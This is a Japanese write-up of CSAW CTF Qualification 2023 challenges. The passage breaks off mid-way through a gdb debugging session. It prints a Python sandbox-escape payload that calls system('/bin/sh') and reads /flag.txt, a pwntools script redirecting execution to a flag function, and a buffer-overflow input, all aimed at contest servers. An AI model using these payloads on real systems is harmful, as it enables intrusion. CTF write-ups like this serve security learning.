CSAW CTF Qualification Round 2023 Writeup

この大会は2023/9/16 1:00(JST)~2023/9/18 1:00(JST)に開催されました。
今回もチームで参戦。結果は560点で1098チーム中335位でした。
自分で解けた問題をWriteupとして書いておきます。

r u alive (Start here) (misc)

Discordに入り、ルールの12番目を見ると、フラグが書いてあった。

csawctf{and_fr0m_humb1e_b3gining5_we_ri5e}

AndroidDropper (misc)

Webページ上にbase64文字列がある。CyberChefでbase64デコードした後、0x2aとXORしたら、復号できた。

For instance, on the planet Earth, man had always assumed that he was more intelligent than dolphins because he had achieved so much - the wheel, New York, wars and so on - whilst all the dolphins had ever done was muck about in the water having a good time. But conversely, csawctf{dyn4m1c_lo4deRs_r_fuN!}
the dolphins had always believed that they were far more intelligent than man - for precisely the same reasons.
csawctf{dyn4m1c_lo4deRs_r_fuN!}

Disclaimer (Incident Response)

問題にフラグが書いてあった。

csawctf{I_will_be_careful_in_my_investigation}

my_first_pwnie (intro)

pyjailの問題。

$ nc intro.csaw.io 31137   
What's the password? "".__class__.__mro__[1].__subclasses__()
You entered `[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]`
Nay, that's not it.

インデックス137にがある。

$ nc intro.csaw.io 31137
What's the password? "".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['system']('/bin/sh')
cat /flag.txt
csawctf{neigh______}
csawctf{neigh______}

Baby's First (intro)

コード内にそのままフラグが書いてあった。

csawctf{w3_411_star7_5om3wher3}

target_practice (intro)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  code *local_20;
  code *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  fflush(stdout);
  fflush(stdin);
  printf("Aim carefully.... ");
  __isoc99_scanf(&DAT_00400895,&local_20);
  local_18 = local_20;
  (*local_20)();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void cat_flag(void)

{
  system("cat /flag.txt");
  return;
}

cat_flag関数のアドレスを渡して、コールできれば良い。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('intro.csaw.io', 31138)
else:
    p = process('./target_practice')

elf = ELF('./target_practice')

cat_flag_addr = elf.symbols['cat_flag']

payload = hex(cat_flag_addr)

data = p.recvrepeat(1).decode()
print(data + payload)
p.sendline(payload.encode())
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to intro.csaw.io on port 31138: Done
[*] '/media/sf_Shared/target_practice'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Aim carefully.... 0x400717
csawctf{y0ure_a_m4s7er4im3r}
[*] Closed connection to intro.csaw.io port 31138
csawctf{y0ure_a_m4s7er4im3r}

Baby's Third (intro)

$ strings babysthird | grep csawctf
csawctf{st1ng_th30ry_a1nt_so_h4rd}
csawctf{st1ng_th30ry_a1nt_so_h4rd}

puffin (intro)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_38 [44];
  int local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  fflush(stdout);
  fflush(stdin);
  local_c = 0;
  printf("The penguins are watching: ");
  fgets(local_38,0x30,stdin);
  if (local_c == 0) {
    puts(&DAT_0010099e);
  }
  else {
    system("cat /flag.txt");
  }
  return 0;
}

BOFで任意の44バイトの後に\x00以外のデータを入力すればよい。

$ nc intro.csaw.io 31140
The penguins are watching: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}
csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}

whataxor (intro)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_c8;
  undefined local_c7;
  undefined local_c6;
  undefined local_c5;
  undefined local_c4;
  undefined local_c3;
  undefined local_c2;
  undefined local_c1;
  undefined local_c0;
  undefined local_bf;
  undefined local_be;
  undefined local_bd;
  undefined local_bc;
  undefined local_bb;
  undefined local_ba;
  undefined local_b9;
  undefined local_b8;
  undefined local_b7;
  undefined local_b6;
  undefined local_b5;
  undefined local_b4;
  undefined local_b3;
  undefined local_b2;
  undefined local_b1;
  undefined local_b0;
  undefined local_af;
  undefined local_ae;
  undefined local_ad;
  undefined local_ac;
  undefined local_ab;
  undefined local_aa;
  undefined local_a9;
  undefined local_a8;
  undefined local_a7;
  undefined local_a6;
  undefined local_a5;
  undefined local_a4;
  undefined local_a3;
  undefined local_a2;
  undefined local_a1;
  undefined local_a0;
  undefined local_9f;
  undefined local_9e;
  undefined local_9d;
  undefined local_9c;
  undefined local_9b;
  undefined local_9a;
  undefined local_99;
  undefined local_98;
  undefined local_97;
  undefined local_96;
  undefined local_95;
  undefined local_94;
  undefined local_93;
  undefined local_92;
  undefined local_91;
  undefined local_90;
  undefined local_8f;
  undefined local_8e;
  undefined local_8d;
  undefined local_8c;
  undefined local_8b;
  undefined local_8a;
  undefined local_89;
  undefined local_88;
  undefined local_87;
  undefined local_86;
  undefined local_85;
  undefined local_84;
  undefined local_83;
  undefined local_82;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter your password: ");
  __isoc99_scanf(&DAT_00100b1a,local_78);
  xor_transform(local_78,0xffffffaa);
  local_c8 = -0x37;
  local_c7 = 0xd9;
  local_c6 = 0xcb;
  local_c5 = 0xdd;
  local_c4 = 0xc9;
  local_c3 = 0xde;
  local_c2 = 0xcc;
  local_c1 = 0xd1;
  local_c0 = 0x9a;
  local_bf = 0xc4;
  local_be = 0xcf;
  local_bd = 0xf5;
  local_bc = 0xd9;
  local_bb = 0xc2;
  local_ba = 0xcf;
  local_b9 = 0xcf;
  local_b8 = 0xfa;
  local_b7 = 0xf5;
  local_b6 = 0x9b;
  local_b5 = 0xdd;
  local_b4 = 0xc5;
  local_b3 = 0xf5;
  local_b2 = 0xd9;
  local_b1 = 0xc2;
  local_b0 = 0xcf;
  local_af = 0xfd;
  local_ae = 0xda;
  local_ad = 0xf5;
  local_ac = 0x98;
  local_ab = 0xc2;
  local_aa = 0xd8;
  local_a9 = 0xcf;
  local_a8 = 0xcf;
  local_a7 = 0xf5;
  local_a6 = 0x9f;
  local_a5 = 0xc2;
  local_a4 = 0xcf;
  local_a3 = 0xcf;
  local_a2 = 0xc1;
  local_a1 = 0xd9;
  local_a0 = 0xf5;
  local_9f = 0xf5;
  local_9e = 0xf5;
  local_9d = 0xf5;
  local_9c = 0xf5;
  local_9b = 0xd0;
  local_9a = 0xf5;
  local_99 = 0xf5;
  local_98 = 0xf5;
  local_97 = 0xd0;
  local_96 = 0xd0;
  local_95 = 0xd0;
  local_94 = 0xf5;
  local_93 = 0xf5;
  local_92 = 0xf5;
  local_91 = 0xf5;
  local_90 = 0xf5;
  local_8f = 0xd0;
  local_8e = 0xd0;
  local_8d = 0xd0;
  local_8c = 0xd0;
  local_8b = 0xd0;
  local_8a = 0xd0;
  local_89 = 0xf5;
  local_88 = 0xf5;
  local_87 = 0xf5;
  local_86 = 0xf5;
  local_85 = 0xd2;
  local_84 = 0xc5;
  local_83 = 0xd8;
  local_82 = 0xd7;
  iVar1 = strcmp(local_78,&local_c8);
  if (iVar1 == 0) {
    puts("Correct!");
  }
  else {
    puts("Access denied.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void xor_transform(long param_1,byte param_2)

{
  int local_c;
  
  for (local_c = 0; *(char *)(param_1 + local_c) != '\0'; local_c = local_c + 1) {
    *(byte *)(param_1 + local_c) = *(byte *)(param_1 + local_c) ^ param_2;
  }
  return;
}

local_c8以降の値と0xffffffaaで8ビットの範囲でXORを取ればよい。

#!/usr/bin/env python3
enc = [-0x37, 0xd9, 0xcb, 0xdd, 0xc9, 0xde, 0xcc, 0xd1, 0x9a, 0xc4, 0xcf, 0xf5, 0xd9, 0xc2, 0xcf, 0xcf, 0xfa, 0xf5, 0x9b, 0xdd, 0xc5, 0xf5, 0xd9, 0xc2, 0xcf, 0xfd, 0xda, 0xf5, 0x98, 0xc2, 0xd8, 0xcf, 0xcf, 0xf5, 0x9f, 0xc2, 0xcf, 0xcf, 0xc1, 0xd9, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xd0, 0xf5, 0xf5, 0xf5, 0xd0, 0xd0, 0xd0, 0xf5, 0xf5, 0xf5, 0xf5, 0xf5, 0xd0, 0xd0, 0xd0, 0xd0, 0xd0, 0xd0, 0xf5, 0xf5, 0xf5, 0xf5, 0xd2, 0xc5, 0xd8, 0xd7]

key = 0xffffffaa

flag = ''
for c in enc:
    flag += chr((c ^ key) & 0xff)
print(flag)
csawctf{0ne_sheeP_1wo_sheWp_2hree_5heeks_____z___zzz_____zzzzzz____xor}

Rebug 1 (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  EVP_MD *type;
  char local_448 [44];
  uint local_41c;
  byte local_418 [16];
  char local_408 [1008];
  EVP_MD_CTX *local_18;
  int local_10;
  int local_c;
  
  printf("Enter the String: ");
  __isoc99_scanf(&DAT_00102017,local_408);
  for (local_c = 0; local_408[local_c] != '\0'; local_c = local_c + 1) {
  }
  if (local_c == 0xc) {
    puts("that\'s correct!");
    local_18 = (EVP_MD_CTX *)EVP_MD_CTX_new();
    type = EVP_md5();
    EVP_DigestInit_ex(local_18,type,(ENGINE *)0x0);
    EVP_DigestUpdate(local_18,&DAT_0010202a,2);
    local_41c = 0x10;
    EVP_DigestFinal_ex(local_18,local_418,&local_41c);
    EVP_MD_CTX_free(local_18);
    for (local_10 = 0; local_10 < 0x10; local_10 = local_10 + 1) {
      sprintf(local_448 + local_10 * 2,"%02x",(ulong)local_418[local_10]);
    }
    printf("csawctf{%s}\n",local_448);
  }
  else {
    printf("that isn\'t correct, im sorry!");
  }
  return 0;
}

適当な文字で12文字入力すればよい。

$ ./test.out
Enter the String: aaaaaaaaaaaa
that's correct!
csawctf{c20ad4d76fe97759aa27a0c99bff6710}
csawctf{c20ad4d76fe97759aa27a0c99bff6710}

Rebug 2 (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  int local_10;
  uint local_c;
  
  local_28 = 0x6e37625970416742;
  local_20 = 0x44777343;
  local_18 = 0;
  local_10 = 0xc;
  printf("That is incorrect :(");
  for (local_c = 0; (int)local_c < local_10; local_c = local_c + 1) {
    if (((local_c & 1) == 0) && (local_c != 0)) {
      printbinchar((int)*(char *)((long)&local_28 + (long)(int)local_c));
    }
  }
  return 0;
}

void printbinchar(char param_1)

{
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  uint local_14;
  char local_d;
  int local_c;
  
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  for (local_c = 0; local_c < 8; local_c = local_c + 1) {
    local_14 = ((int)param_1 << ((byte)local_c & 0x1f)) >> 7 & 1;
    *(uint *)((long)&local_38 + (long)local_c * 4) = local_14;
  }
  local_d = param_1;
  xoring(&local_38);
  return;
}

undefined8 xoring(long param_1)

{
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  int local_10;
  int local_c;
  
  local_28 = 0;
  local_20 = 0;
  local_38 = 0;
  local_30 = 0;
  for (local_c = 0; local_c < 4; local_c = local_c + 1) {
    *(undefined4 *)((long)&local_28 + (long)local_c * 4) =
         *(undefined4 *)(param_1 + (long)local_c * 4);
    *(undefined4 *)((long)&local_38 + (long)local_c * 4) =
         *(undefined4 *)(param_1 + ((long)local_c + 4) * 4);
  }
  for (local_10 = 0; local_10 < 4; local_10 = local_10 + 1) {
    if (*(int *)((long)&local_28 + (long)local_10 * 4) ==
        *(int *)((long)&local_38 + (long)local_10 * 4)) {
      flag[index_flag] = 0x30;
    }
    else {
      flag[index_flag] = 0x31;
    }
    index_flag = index_flag + 1;
  }
  return 0;
}

xoringは5回呼ばれる。デバッグしながら、最終的なflagの値を確認する。

$ gdb -q ./bin.out
Reading symbols from ./bin.out...
(No debugging symbols found in ./bin.out)
gdb-peda$ start
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[----------------------------------registers-----------------------------------]
RAX: 0x5555555552a4 (<main>:    push   rbp)
RBX: 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
RCX: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
RDX: 0x7fffffffde88 --> 0x7fffffffe226 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
RDI: 0x1 
RBP: 0x7fffffffdd60 --> 0x1 
RSP: 0x7fffffffdd60 --> 0x1 
RIP: 0x5555555552a8 (<main+4>:  sub    rsp,0x20)
R8 : 0x0 
R9 : 0x7ffff7fcfaf0 (<_dl_fini>:        push   rbp)
R10: 0x7ffff7fcb858 --> 0xa00120000000e 
R11: 0x7ffff7fe1c10 (<_dl_audit_preinit>:       mov    eax,DWORD PTR [rip+0x1b242]        # 0x7ffff7ffce58 <_rtld_global_ro+888>)
R12: 0x0 
R13: 0x7fffffffde88 --> 0x7fffffffe226 ("CLUTTER_IM_MODULE=xim")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555552a3 <printbinchar+119>:   ret
   0x5555555552a4 <main>:       push   rbp
   0x5555555552a5 <main+1>:     mov    rbp,rsp
=> 0x5555555552a8 <main+4>:     sub    rsp,0x20
   0x5555555552ac <main+8>:     movabs rax,0x6e37625970416742
   0x5555555552b6 <main+18>:    mov    edx,0x44777343
   0x5555555552bb <main+23>:    mov    QWORD PTR [rbp-0x20],rax
   0x5555555552bf <main+27>:    mov    QWORD PTR [rbp-0x18],rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd60 --> 0x1 
0008| 0x7fffffffdd68 --> 0x7ffff7ded6ca (<__libc_start_call_main+122>:  mov    edi,eax)
0016| 0x7fffffffdd70 --> 0x0 
0024| 0x7fffffffdd78 --> 0x5555555552a4 (<main>:        push   rbp)
0032| 0x7fffffffdd80 --> 0x100000000 
0040| 0x7fffffffdd88 --> 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
0048| 0x7fffffffdd90 --> 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
0056| 0x7fffffffdd98 --> 0x6d9769f001a899ae 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x00005555555552a8 in main ()
gdb-peda$ disas xoring
Dump of assembler code for function xoring:
   0x0000555555555139 <+0>:     push   rbp
   0x000055555555513a <+1>:     mov    rbp,rsp
   0x000055555555513d <+4>:     mov    QWORD PTR [rbp-0x38],rdi
   0x0000555555555141 <+8>:     mov    QWORD PTR [rbp-0x20],0x0
   0x0000555555555149 <+16>:    mov    QWORD PTR [rbp-0x18],0x0
   0x0000555555555151 <+24>:    mov    QWORD PTR [rbp-0x30],0x0
   0x0000555555555159 <+32>:    mov    QWORD PTR [rbp-0x28],0x0
   0x0000555555555161 <+40>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000555555555168 <+47>:    jmp    0x5555555551b0 <xoring+119>
   0x000055555555516a <+49>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000055555555516d <+52>:    cdqe
   0x000055555555516f <+54>:    lea    rdx,[rax*4+0x0]
   0x0000555555555177 <+62>:    mov    rax,QWORD PTR [rbp-0x38]
   0x000055555555517b <+66>:    add    rax,rdx
   0x000055555555517e <+69>:    mov    edx,DWORD PTR [rax]
   0x0000555555555180 <+71>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000555555555183 <+74>:    cdqe
   0x0000555555555185 <+76>:    mov    DWORD PTR [rbp+rax*4-0x20],edx
   0x0000555555555189 <+80>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000055555555518c <+83>:    cdqe
   0x000055555555518e <+85>:    add    rax,0x4
   0x0000555555555192 <+89>:    lea    rdx,[rax*4+0x0]
   0x000055555555519a <+97>:    mov    rax,QWORD PTR [rbp-0x38]
   0x000055555555519e <+101>:   add    rax,rdx
   0x00005555555551a1 <+104>:   mov    edx,DWORD PTR [rax]
   0x00005555555551a3 <+106>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00005555555551a6 <+109>:   cdqe
   0x00005555555551a8 <+111>:   mov    DWORD PTR [rbp+rax*4-0x30],edx
   0x00005555555551ac <+115>:   add    DWORD PTR [rbp-0x4],0x1
   0x00005555555551b0 <+119>:   cmp    DWORD PTR [rbp-0x4],0x3
   0x00005555555551b4 <+123>:   jle    0x55555555516a <xoring+49>
   0x00005555555551b6 <+125>:   mov    DWORD PTR [rbp-0x8],0x0
   0x00005555555551bd <+132>:   jmp    0x55555555521f <xoring+230>
   0x00005555555551bf <+134>:   mov    eax,DWORD PTR [rbp-0x8]
   0x00005555555551c2 <+137>:   cdqe
   0x00005555555551c4 <+139>:   mov    edx,DWORD PTR [rbp+rax*4-0x20]
   0x00005555555551c8 <+143>:   mov    eax,DWORD PTR [rbp-0x8]
   0x00005555555551cb <+146>:   cdqe
   0x00005555555551cd <+148>:   mov    eax,DWORD PTR [rbp+rax*4-0x30]
   0x00005555555551d1 <+152>:   cmp    edx,eax
   0x00005555555551d3 <+154>:   jne    0x5555555551f9 <xoring+192>
   0x00005555555551d5 <+156>:   mov    eax,DWORD PTR [rip+0x2e75]        # 0x555555558050 <index_flag>
   0x00005555555551db <+162>:   cdqe
   0x00005555555551dd <+164>:   lea    rdx,[rip+0x2e4c]        # 0x555555558030 <flag>
   0x00005555555551e4 <+171>:   mov    BYTE PTR [rax+rdx*1],0x30
   0x00005555555551e8 <+175>:   mov    eax,DWORD PTR [rip+0x2e62]        # 0x555555558050 <index_flag>
   0x00005555555551ee <+181>:   add    eax,0x1
   0x00005555555551f1 <+184>:   mov    DWORD PTR [rip+0x2e59],eax        # 0x555555558050 <index_flag>
   0x00005555555551f7 <+190>:   jmp    0x55555555521b <xoring+226>
   0x00005555555551f9 <+192>:   mov    eax,DWORD PTR [rip+0x2e51]        # 0x555555558050 <index_flag>
   0x00005555555551ff <+198>:   cdqe
   0x0000555555555201 <+200>:   lea    rdx,[rip+0x2e28]        # 0x555555558030 <flag>
   0x0000555555555208 <+207>:   mov    BYTE PTR [rax+rdx*1],0x31
   0x000055555555520c <+211>:   mov    eax,DWORD PTR [rip+0x2e3e]        # 0x555555558050 <index_flag>
   0x0000555555555212 <+217>:   add    eax,0x1
   0x0000555555555215 <+220>:   mov    DWORD PTR [rip+0x2e35],eax        # 0x555555558050 <index_flag>
   0x000055555555521b <+226>:   add    DWORD PTR [rbp-0x8],0x1
   0x000055555555521f <+230>:   cmp    DWORD PTR [rbp-0x8],0x3
   0x0000555555555223 <+234>:   jle    0x5555555551bf <xoring+134>
   0x0000555555555225 <+236>:   mov    eax,0x0
   0x000055555555522a <+241>:   pop    rbp
   0x000055555555522b <+242>:   ret
End of assembler dump.
gdb-peda$ b *0x0000555555555225
Breakpoint 2 at 0x555555555225
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x4 
RBX: 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
RCX: 0x7 
RDX: 0x555555558030 --> 0x31303130 ('0101')
RSI: 0x28 ('(')
RDI: 0x7fffffffdd00 --> 0x100000000 
RBP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RSP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RIP: 0x555555555225 (<xoring+236>:      mov    eax,0x0)
R8 : 0x400 
R9 : 0x410 
R10: 0x1000 
R11: 0x3f ('?')
R12: 0x0 
R13: 0x7fffffffde88 --> 0x7fffffffe226 ("CLUTTER_IM_MODULE=xim")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555521b <xoring+226>: add    DWORD PTR [rbp-0x8],0x1
   0x55555555521f <xoring+230>: cmp    DWORD PTR [rbp-0x8],0x3
   0x555555555223 <xoring+234>: jle    0x5555555551bf <xoring+134>
=> 0x555555555225 <xoring+236>: mov    eax,0x0
   0x55555555522a <xoring+241>: pop    rbp
   0x55555555522b <xoring+242>: ret
   0x55555555522c <printbinchar>:       push   rbp
   0x55555555522d <printbinchar+1>:     mov    rbp,rsp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
0008| 0x7fffffffdce8 --> 0x5555555552a1 (<printbinchar+117>:    nop)
0016| 0x7fffffffdcf0 --> 0x0 
0024| 0x7fffffffdcf8 --> 0x4100000000 ('')
0032| 0x7fffffffdd00 --> 0x100000000 
0040| 0x7fffffffdd08 --> 0x0 
0048| 0x7fffffffdd10 --> 0x0 
0056| 0x7fffffffdd18 --> 0x100000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555225 in xoring ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x8 
RBX: 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
RCX: 0x7 
RDX: 0x555555558030 ("01011100")
RSI: 0x28 ('(')
RDI: 0x7fffffffdd00 --> 0x100000000 
RBP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RSP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RIP: 0x555555555225 (<xoring+236>:      mov    eax,0x0)
R8 : 0x400 
R9 : 0x410 
R10: 0x1000 
R11: 0x3f ('?')
R12: 0x0 
R13: 0x7fffffffde88 --> 0x7fffffffe226 ("CLUTTER_IM_MODULE=xim")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555521b <xoring+226>: add    DWORD PTR [rbp-0x8],0x1
   0x55555555521f <xoring+230>: cmp    DWORD PTR [rbp-0x8],0x3
   0x555555555223 <xoring+234>: jle    0x5555555551bf <xoring+134>
=> 0x555555555225 <xoring+236>: mov    eax,0x0
   0x55555555522a <xoring+241>: pop    rbp
   0x55555555522b <xoring+242>: ret
   0x55555555522c <printbinchar>:       push   rbp
   0x55555555522d <printbinchar+1>:     mov    rbp,rsp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
0008| 0x7fffffffdce8 --> 0x5555555552a1 (<printbinchar+117>:    nop)
0016| 0x7fffffffdcf0 --> 0x0 
0024| 0x7fffffffdcf8 --> 0x5900000000 ('')
0032| 0x7fffffffdd00 --> 0x100000000 
0040| 0x7fffffffdd08 --> 0x100000000 
0048| 0x7fffffffdd10 --> 0x1 
0056| 0x7fffffffdd18 --> 0x100000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555225 in xoring ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0xc ('\x0c')
RBX: 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
RCX: 0x7 
RDX: 0x555555558030 ("010111000100")
RSI: 0x28 ('(')
RDI: 0x7fffffffdd00 --> 0x0 
RBP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RSP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RIP: 0x555555555225 (<xoring+236>:      mov    eax,0x0)
R8 : 0x400 
R9 : 0x410 
R10: 0x1000 
R11: 0x3f ('?')
R12: 0x0 
R13: 0x7fffffffde88 --> 0x7fffffffe226 ("CLUTTER_IM_MODULE=xim")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555521b <xoring+226>: add    DWORD PTR [rbp-0x8],0x1
   0x55555555521f <xoring+230>: cmp    DWORD PTR [rbp-0x8],0x3
   0x555555555223 <xoring+234>: jle    0x5555555551bf <xoring+134>
=> 0x555555555225 <xoring+236>: mov    eax,0x0
